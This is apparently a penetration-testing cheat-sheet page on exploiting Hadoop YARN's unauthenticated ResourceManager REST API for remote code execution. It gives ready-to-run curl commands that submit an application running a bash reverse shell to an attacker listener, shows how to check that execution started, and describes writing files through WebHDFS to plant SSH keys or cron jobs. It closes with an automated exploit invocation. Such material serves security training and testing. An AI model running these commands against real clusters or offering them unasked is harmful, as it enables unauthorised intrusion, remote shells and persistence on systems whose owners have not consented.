Skip to content
HackIndex.io

Hadoop YARN RCE

2 min read Created Sep 14, 2026 Last updated Sep 14, 2026

The YARN ResourceManager REST API (port 8088) accepts application submissions without authentication by default. By submitting a new YARN application with an arbitrary command, an attacker gets remote code execution on any node in the Hadoop cluster. Confirm ResourceManager access through Hadoop enumeration first.

Application Submission RCE

YARN applications are submitted in two steps: create a new application ID, then submit the application with the command to execute.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:8088/ws/v1/cluster/apps/new-application | python3 -m json.tool 
{
  "application-id": "application_1694000000000_0001",
  "maximum-resource-capability": {
    "memory": 8192,
    "vCores": 4
  }
}

Save the application-id for the submission step. If this returns 200, the ResourceManager accepts unauthenticated submissions.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id": "application_1694000000000_0001",
"application-name": "test",
"am-container-spec": {
"commands": {
"command": "/bin/bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\""
}
},
"application-type": "YARN",
"resource": {"memory": 1024, "vCores": 1}
}'

Replace the application-id with the one from step 1. The command runs on a NodeManager as the hadoop/yarn user. Start nc -lvnp on your listener first.

Verifying Execution

Check the application status to confirm it was accepted and is running.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8088/ws/v1/cluster/apps/application_1694000000000_0001 | python3 -m json.tool

Check the "state" field. ACCEPTED/RUNNING means execution started. FAILED may indicate the command errored or the node lacks connectivity.

HDFS File Write

With WebHDFS access (port 9870), write files directly to the HDFS filesystem. Useful for planting SSH keys or cron jobs if HDFS paths map to local filesystem mounts.

┌──(kali㉿kali)-[~]
└─$ curl -s -X PUT -L 'http://$TARGET_IP:9870/webhdfs/v1/tmp/proof.txt?op=CREATE&overwrite=true' \
-H 'Content-Type: application/octet-stream' \
-d 'RCE confirmed'
Explain command
-L Follow the 307 redirect to the DataNode for the actual write.
op=CREATE Create a new file at the specified path.

WebHDFS writes go through a redirect: the NameNode responds with 307 pointing to a DataNode. The -L flag follows it. Verify with op=OPEN on the same path.

Automated Exploitation

┌──(kali㉿kali)-[~]
└─$ python3 hadoop_yarn_exploit.py -t http://$TARGET_IP:8088 -c 'id'

Public exploit scripts automate the two-step submission process. Multiple tools available on GitHub for YARN RCE.

References